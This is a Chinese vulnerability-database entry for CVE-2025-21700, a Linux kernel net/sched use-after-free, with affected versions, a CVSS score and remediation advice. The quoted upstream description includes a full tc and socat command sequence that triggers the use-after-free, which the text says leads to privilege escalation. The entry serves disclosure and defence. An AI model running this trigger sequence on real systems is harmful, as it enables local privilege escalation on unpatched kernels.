CVE-2025-21700— Linux kernel 安全漏洞
一分钟漏洞结论
影响对象
Linux Linux
利用判断
尚无明确在野利用证据，仍需结合暴露面评估
建议动作
优先检查厂商安全公告和参考链接中的修复版本；无法立即升级时，限制受影响服务暴露并加强监测。
Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel存在安全漏洞，该漏洞源于net:sched中包含一个释放后重用漏洞。
可能的 ATT&CK 技术 1 AI
T1068 · Exploitation for Privilege Escalation影响版本矩阵 18
| 厂商 | 产品 | 版本范围 | 状态 |
|---|---|---|---|
| Linux | Linux | 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2< cd796e269123e1994bfc4e99dd76680ba0946a97 |
affected |
1da177e4c3f41524e886b7f1b8a0c1fc7321cac2< fe18c21d67dc7d1bcce1bba56515b1b0306db19b |
affected | ||
1da177e4c3f41524e886b7f1b8a0c1fc7321cac2< 38646749d6e12f9d80a08d21ca39f0beca20230d |
affected | ||
1da177e4c3f41524e886b7f1b8a0c1fc7321cac2< deda09c0543a66fa51554abc5ffd723d99b191bf |
affected | ||
1da177e4c3f41524e886b7f1b8a0c1fc7321cac2< 7e2bd8c13b07e29a247c023c7444df23f9a79fd8 |
affected | ||
1da177e4c3f41524e886b7f1b8a0c1fc7321cac2< 73c7e1d6898ccbeee126194dcc05f58b8a795e70 |
affected | ||
1da177e4c3f41524e886b7f1b8a0c1fc7321cac2< 46c59ec33ec98aba20c15117630cae43a01404cc |
affected | ||
1da177e4c3f41524e886b7f1b8a0c1fc7321cac2< bc50835e83f60f56e9bec2b392fb5544f250fb6f |
affected | ||
| … +10 条更多 | |||
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一、 漏洞 CVE-2025-21700 基础信息
漏洞信息
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Vulnerability Title
net: sched: Disallow replacing of child qdisc from one parent to another
来源: CVE Program / CVE List V5
Vulnerability Description
In the Linux kernel, the following vulnerability has been resolved:
net: sched: Disallow replacing of child qdisc from one parent to another
Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script
Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr
step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr
step3. a class for nesting
tc class add dev lo classid 1:2 drr
step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr
step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024
step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr
step7.
tc class add dev lo classid 3:1 drr
step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo
step 9. Display the class/qdisc layout
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 limit 1000p
qdisc drr 3: dev lo parent 1:2
step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0
step 11. Redisplay again the qdiscs/classes
tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 1:3 root leaf 4: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb
tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
qdisc drr 3: dev lo parent 1:2
Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent. b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.
Step 12. send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13. send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))
step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1
The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".
Joint work with Lion Ackermann <nnamrec@gmail.com>
来源: CVE Program / CVE List V5
CVSS Information
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
来源: CVE Program / CVE List V5
Vulnerability Type
N/A
来源: CVE Program / CVE List V5
Vulnerability Title
Linux kernel 安全漏洞
来源: 中国国家信息安全漏洞库 CNNVD
Vulnerability Description
Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel存在安全漏洞，该漏洞源于net:sched中包含一个释放后重用漏洞。
来源: 中国国家信息安全漏洞库 CNNVD
CVSS Information
N/A
来源: 中国国家信息安全漏洞库 CNNVD
Vulnerability Type
N/A
来源: 中国国家信息安全漏洞库 CNNVD
受影响产品
二、漏洞 CVE-2025-21700 的公开POC
| # | POC 描述 | 源链接 | 神龙链接 |
|---|
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CVE-2025-21700 补丁与修复 (5)
CVE-2025-21700 其他参考 (3)
IV. Related Vulnerabilities
V. Comments for CVE-2025-21700
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